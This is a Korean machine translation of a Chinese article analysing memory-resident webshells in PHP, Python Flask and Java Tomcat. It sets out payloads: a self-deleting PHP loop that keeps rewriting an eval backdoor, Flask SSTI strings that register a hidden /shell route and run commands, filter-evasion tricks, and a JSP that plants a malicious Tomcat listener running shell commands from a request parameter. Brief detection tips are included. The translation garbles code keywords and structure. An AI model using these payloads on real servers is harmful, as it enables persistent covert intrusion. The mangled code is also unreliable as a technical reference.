제목 : 웹 쉘 메모리 말 분석

Webshell 内存马分析​

메모리 웹 쉘은 기존 웹 쉘보다 기존 보안 모니터링 장치의 탐지를 피하기가 더 쉽습니다. 일반적으로 대상 서버에 지속적으로 지속되고 감지를 피하는 데 사용됩니다. 파일없는 공격, 메모리 웹 쉘 및 프로세스 주입과 같은 메모리 기반 공격도 대부분의 공격자가 선호합니다.

1 PHP 内存马​

1.1 原理​

PHP 메모리 말은 PHP 불멸의 말이 불멸의 말을 시작하고 스스로 삭제하고 메모리에서 죽은 루프를 실행하여 관리자가 트로이 목마 파일을 삭제할 수 없다는 것입니다.
1
2
3
4
5
6
7
8
9
10
? php
set_time_limit (0);
ingore_user_abort (1);
Unlink (__ file__);
(1) {
$ content='? php @eval ($ _ post ['zzz '])?';
file_put_contents ( 'config.php', $ content);
usleep (10000);
}
?
ingore_user_abort : 클라이언트의 기능 설정이 스크립트 실행을 종료할지 여부. true로 설정되면 사용자와의 연결이 끊김이 무시됩니다.
set_time_limit : 스크립트를 몇 초 만에 실행할 수있는 시간을 설정합니다. 0 (0)으로 설정하면 시간 제한이 없습니다.

1.2 检测​

모든 PHP 프로세스 처리 요청 기간 확인
실행 파일이 실제로 파일 시스템에 존재하는지 여부를 감지합니다.

2 Python 内存马​

2.1 原理​

파이썬 메모리 말은 플라스크 프레임 워크에서 SSTI 주입을 사용하여 구현됩니다. Flask Framework에서 Render_template_string ()은 웹 응용 프로그램 템플릿 렌더링 프로세스에서 렌더링하는 데 사용되지만 사용자가 전송 한 코드는 필터링되지 않으므로 사용자가 악의적 인 코드를 주입하여 Python 메모리 말의 주입을 구현할 수 있습니다.
플라스크 프레임 워크 아래의 메모리 말은 IceHexman Github에서 연구되었습니다.

2.1.1 flask route​

필터와 같은 라우팅 메커니즘을 등록하기위한 아날로그 Tomcat. 파이썬 메모리 말을 구현하려면 플라스크가 라우팅을 동적으로 등록 할 수 있는지 여부도 연구해야합니다.
플라스크를 등록하는 일반적인 방법은 Decorator @app.route ()를 사용하는 것입니다. 실제 작업 기능은 Decorator self.add_url_rule ()에서 호출되는 방법입니다.
202109221235167.png-water_print

add_url_rule에는 세 가지 매개 변수가 필요합니다.
URL : Decorator app.route ()의 첫 번째 매개 변수와 마찬가지로 /부터 시작해야합니다.
엔드 포인트 : URL_FOR ()를 사용하여 점프를 사용하면이에서 전달 된 첫 번째 매개 변수는이 엔드 포인트의 해당 값입니다. 이 값도 지정할 수 없으며 기본값은 함수 이름입니다.
View_Func : 메소드 이름을 작성하십시오 (익명 매개 변수도 가능). 메소드 이름을 사용하는 경우 브래킷을 추가하지 마십시오. 함수의 리턴 값이 view_func 매개 변수로 전달됨을 나타 내기 위해 브래킷을 추가하십시오.

2.1.2 flask context​

메모리 웹 쉘을 구현하려면 핵심 포인트는 view_func입니다. View_Func은 매개 변수 값을 캡처하고 명령을 실행하며 응답하는 익명 기능 정의 로직을 사용할 수 있습니다.
플라스크 작동 방식 : 요청이 플라스크에 들어가면 요청 컨텍스트가 먼저 인스턴스화됩니다. 이 컨텍스트는 요청에서 요청 된 정보를 캡슐화 하고이 컨텍스트를 스택 _request_ctx_stack의 구조에 넣습니다. 즉, 현재 요청 컨텍스트를 얻는 것은 _request_ctx_stack _request_ctx_stack.top의 상단 요소를 얻는 것과 같습니다.

2.1.3 flask 内置函数​

표현식은 {{.}}를 통해 실행할 수 있지만 네임 스페이스는 제한되어 있으며 내장이 없으므로 Eval 및 Pop과 같은 기능을 사용할 수 없습니다. 그러나 모든 함수의 func_globals를 통해 네임 스페이스를 얻을 수 있으며 빌드 딘을 얻을 수 있습니다.
플라스크에는 두 가지 내장 함수 url_for 및 get_flashed_messages가 있습니다. 즉, 명령 실행을 구성하려면 다음을 사용할 수 있습니다.
1
2
3
{{url_for .__ globals __ [ '__ builtins __'] .__ import __ ( 'OS'). System ( 'ls')}}
{{url_for .__ globals __ [ '__ buildins __'] [ 'Eval'] ( '__ import __ ('os '). Popen ('whoami '). read ()')}}

2.2 实现​

다음 데모 코드가 예입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
플라스크 가져 오기 플라스크에서 요청
플라스크 가져 오기 렌더 _template_string에서
app=flask (__ name__)
@app.route ( '/')
def hello_world () :
'Hello World'반환
@app.route ( '/test', methods=[ 'get', 'post'])))
def test () :
템플릿='' ''
div class='Center-Content Error'
H1oops! 그 페이지는 존재하지 않습니다 ./H1
H3%S/H3
/div
'' %(request.values.get ( 'param'))
render_template_string (템플릿)을 반환합니다.
__name__=='__ 메인 __': 인 경우
app.run (포트=8000)
페이로드를 분해하십시오.
1
2
3
4
5
6
7
8
9
10
11
12
url_for .__ globals __ [ '__ buildins __'] [ 'Eval'] (
'app.add_url_rule (
'/껍데기',
'껍데기',
Lambda :__import __ ( 'OS'). Popen (_request_ctx_stack.top.request.args.get ( 'cmd', 'whoami')). read ()
))
',
{
'_request_ctx_stack':url_for .__ globals __ ['_ request_ctx_stack '],
'app':url_for .__ globals __ ['current_app ']
}
))
람다는 익명의 기능입니다. 페이로드에서 add_url_rule () 함수의 세 번째 매개 변수는 Lambda 익명 함수를 정의합니다. 웹 요청에서 얻은 CMD 매개 변수 값은 OS 라이브러리의 Popen () 함수를 통해 실행되며 결과를 반환합니다.
Eval () 메소드의 구문 :
1
eval (표현 [, Globals [, Locals]]))
글로벌 - 가변 범위, 글로벌 네임 스페이스는 제공된 경우 사전 대상이어야합니다. 글로벌 변수를 지정합니다.
최종 URL :
1
http://ip33608000/param? param={{url_for .__ globals __ [%27__builtins __%27] [%27eval%27] (%22app.add_ur L_RULE (%27/Shell%27,%20%27Shell%27,%20LAMBDA%20:__import __ (%27OS%27) .popen (_request_ctx_stack .top.request.args.get (%27cmd%27,%20%27whoami%27)). Read ())%22, {%27_request_ctx_stack%27:URL_F or
202109221456525.png-water_print

2.2 检测​

모든 내장 모듈에는 Eval, Exec 및와 같은 코드를 실행할 수있는 기타 기능이 포함되어 있는지 확인하십시오. Class Warnings.catch_warnings, Class Site.quitter 등
Self.add_url_rule (), 예를 들어 쉘과 같은 특수 이름이있는 경로를 감지합니다.

2.3 逃逸​

Python Sandbox Escape 기술을 예로 들어 보겠습니다.
url_for는 get_flashed_messages 또는 request.application으로 대체 할 수 있습니다 .__ self __._ get_data_for_json 등;
코드는 exec 등과 같은 함수 교체를 수행하여 평가를 대체합니다.
[ '__bui'+'ltins __'] [ 'ev'+'al'];
__globals___는 __getAttribute __ ( '__ globa'+'ls__')로 대체 될 수 있습니다.
[] 브래킷은 .__ getItem __ () 또는 .pop ()로 대체 할 수 있습니다.

3 Java 内存马​

3.1 简介​

Java 메모리 말은 현재 두 가지 범주로 나뉩니다.
서블릿 -API 유형
명령 실행 및 기타 기능을 실현하기 위해 명령 실행 등을 통해 새로운 리스너, 필터 또는 서블릿을 동적으로 등록하십시오. 특정 프레임 워크 및 컨테이너에 대한 메모리 말의 원리는 스프링의 컨트롤러 메모리 말 및 Tomcat의 밸브 메모리 말과 같은 유사합니다.
바이트 코드가 향상되었습니다
Java의 계측을 통해 기존 코드를 동적으로 수정 한 다음 명령 실행 및 기타 기능을 구현하십시오.

3.2 原理​

서블릿, 리스너 및 필터는 javax.servlet.servletcontext에 의해로드됩니다. XML 구성 파일 또는 주석 주석 구성을 사용하든 웹 컨테이너로 초기화하고 구성 속성을 읽은 다음 컨테이너에 등록하십시오.
Servlet 3.0 API를 사용하면 ServletContext를 동적으로 등록하고 웹 컨테이너가 초기화 될 때 동적으로 등록 할 수 있습니다 (즉, ServletContext 객체가 생성 될 때). 다른 컨테이너 구현 방법은 약간 다릅니다. 다음은 주로 Tomcat을 예로 봅니다.

3.2.1 Tomcat​

Tomcat 주로 4 가지 유형의 컨테이너, 엔진, 호스트, 컨텍스트 및 래퍼가 포함됩니다.
엔진은 외부 인터페이스이며 여러 호스트를 구성 할 수 있습니다.
호스트는 여러 컨텍스트 (웹 응용 프로그램)를 포함 할 수 있습니다.
컨텍스트에는 여러 래퍼가 포함될 수 있습니다
각 래퍼는 1 개의 서블릿에 해당합니다
202109221555587.png-water_print

컨텍스트의 해당 웹 응용 프로그램, 각 컨텍스트에는 고유 한 경로가 있습니다. 여기서 경로는 서블릿에 묶인 웹 서비스 주소를 참조하지 않고 독립적 인 웹 응용 프로그램 주소를 나타냅니다. Tomat의 기본/주소 및 관리자 주소는 두 가지 다른 웹 응용 프로그램이므로 두 가지 다른 컨텍스트의 경우 컨텍스트를 추가하려면 Server.xml에서 docbase를 구성해야합니다.
웹 애플리케이션에서는 로그인 페이지, 배경 관리 등과 같은 여러 액세스 경로를 구성 할 수 있습니다. 동일한 컨텍스트의 다른 웹 서비스 주소의 경우 다른 랩퍼가 할당됩니다. 이는 각 컨텍스트가 다중 포장지에 해당 할 수 있고 각 래퍼가 하나의 서블릿에 해당 함을 보여줍니다. 동일한 웹 응용 프로그램 컨텍스트는 동일하지만 해당 래퍼는 다르고 다른 서블릿 서비스에 따라 다른 내용을 표시합니다.
기능
아이디어는 다음을 참조 할 수 있습니다

3.2.2 Listener 内存马​

청취자는 웹 응용 프로그램의 생성, 파괴, 추가, 수정, 삭제 및 기타 작업에서 특정 객체의 발생을 듣는 데 사용됩니다. 청취 범위의 객체 상태가 변경되면 서버는 청취자 객체에서 메소드를 자동으로 호출합니다. 종종 웹 사이트에서 온라인으로 사람들의 수를 세고 시스템이로드 될 때 정보를 초기화하고 웹 사이트 방문 수 등을 세는 데 사용됩니다.
주로 세 부분으로 구성됩니다.
이벤트 출처 : 듣는 대상
리스너 : 듣는 대상, 이벤트 소스의 변경은 청취자의 응답 동작을 유발합니다.
응답 동작 : 이벤트 소스의 상태가 변경 될 때 청취자가 수행하는 작업.
초기화 중에 이벤트 소스와 청취자가 구속되어야합니다. 즉, 리스너가 등록됩니다. 웹 사이트를 요청할 때 프로그램은 먼저 리스너 리스너의 내용을 자동으로 실행 한 다음 필터 필터를 실행합니다. 여러 필터가 있으면 필터 체인이 형성됩니다. 마지막 필터는 서블릿 서비스 메소드, 즉 리스너 - 필터 - 서블릿을 실행합니다.
리스너가 가장 먼저로드되므로 악의적 인 리스너의 동적 등록을 사용하여 메모리 말에 임플란트 할 수 있습니다.
리스너 카테고리
ServletContext LELTENS, 서버가 시작되고 종료되면 트리거됩니다
ServletContextListener : 전체 서블릿 컨텍스트를 듣는 데 사용됩니다 (생성, 파괴)
ServletContextAttRibuteListener : Servlet Context 속성 듣기 (속성 추가, 삭제 및 수정)
세션 듣기, 세션이 만들어지고 파괴 될 때 트리거
javax.servlet.http.httpsessionListener : 세션의 전체 상태를 듣습니다
javax.servlet.http.httpssessionattributeListener : 세션 속성 듣기
서비스에 액세스 할 때마다 청취를 요청하고 트리거됩니다
ServletRequestListener : 요청 요청 (생성, 파괴)
ServletRequestAttRiptipListener : 요청 속성 듣기 (속성 추가, 삭제 및 수정)
리스너를 동적으로 추가 할 수 있다면 청취 요청은 메모리 말을 이식하는 데 가장 적합합니다.
ServletRequestListener는 두 가지 방법을 제공합니다. 두 방법 모두 매개 변수로서 servletrequestevent를받습니다. ServletContext 객체 및 ServletRequest 객체는 ServletRequestEvent에 저장됩니다. 따라서 액세스 요청 프로세스 중에 메모리 말의 구현을 완료하기 위해 요청을 작성하고 파괴 할 때 귀하의 자체 악성 코드를 구현할 수 있습니다.
202109221719716.png-water_print

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
%@ page import='org.apache.catalina.core.standardContext' %
%@ page import='org.apache.catalina.core.applicationContext' %
%@ page import='java.lang.reflect.field' %
%@ page import='java.util.*, javax.crypto.*, javax.crypto.spec.*'%
%@ page import='org.apache.jasper.tagplugins.jstl.core.out' %
%@ page import='java.io.ioexception' %
%@ page import='javax.servlet.annotation.webservlet' %
%@ page import='java.io.inputStreamReader' %
%@ page import='java.io.bufferedReader' %
비율
Object obj=request.getServletContext ();
필드 필드=obj.getClass (). getDeclaredfield ( 'context');
field.setAccessible (true);
ApplicationContext ApplicationContext=(ApplicationContext) field.get (OBJ);
field=applicationcontext.getClass (). getDeclaredfield ( 'context');
field.setAccessible (true);
StandardContext StandardContext=(StandardContext) field.get (ApplicationContext);
Listenh Listenh=New Listenh (요청, 응답);
StandardContext.addApplicationEventListener (ListenH);
out.print ( '테스트');
비율
%!
공개 클래스 Listenh 구현 servletrequestlistener {
공무원 응답 응답;
공무원 요청;
ListenH (ServletRequest 요청, ServletResponse 응답) {
this.request=요청;
this.response=응답;
}
public void requestDestroyed (servletrequestevent servletrequestevent) {
}
공개 void requestInitialized (servletrequestevent servletrequestevent) {
문자열 cmder=request.getParameter ( 'cmd');
문자열 [] cmd=new String [] { '/bin/sh', '-c', cmder};
노력하다 {
프로세스 ps=runtime.getRuntime (). exec (cmd);
bufferedReader br=new bufferedReader (new inputStreamReader (ps.getInputStream ()));
StringBuffer sb=new StringBuffer ();
문자열 라인;
while ((line=br.readline ())!=null) {
//실행 결과 플러스 리턴
sb.append (line) .append ( 'br');
}
문자열 결과=sb.tostring ();
this.response.getWriter (). 쓰기 (결과);
} catch (예외 e) {
System.out.println ( '오류');
}
}
}
비율
JSP를 통해 리스너를 동적으로 추가하십시오. 여기에서 ADD를 통해 직접 추가하므로 JSP 페이지에 액세스 할 때마다 리스너가 반복적으로 추가되어 악의적 인 페이로드가 반복적으로 실행됩니다. 성공적인 추가 후에는 기존 페이지에 액세스 할 수 있으며 실행될 명령에 액세스하고 JSP 파일이 삭제 된 경우에도 사용할 수 있습니다.

3.2.3 Filter 内存马​

필터를 필터라고하며 Java에서 가장 일반적이고 실용적인 기술 중 하나입니다. 일반적으로 정적 웹 리소스, 액세스 제어, 로깅 및 기타 기능과 같은 추가 기능을 처리하는 데 사용됩니다. 요청이 서버에 들어가면 사용자 요청은 필터에 의해 전처리 된 다음 서블릿으로 넘겨집니다.
계속하기 위해.

参考​

웹 공격 및 방어 기술 | 메모리 말 분석
메모리 말은 무엇입니까?
Tomcat Memory Horse Learning
하나의 기사에서 기억 말을 이해합니다
파이썬 플라스크 메모리 말
Tomcat Memory Horse에 대한 예비 연구
 
뒤로
상단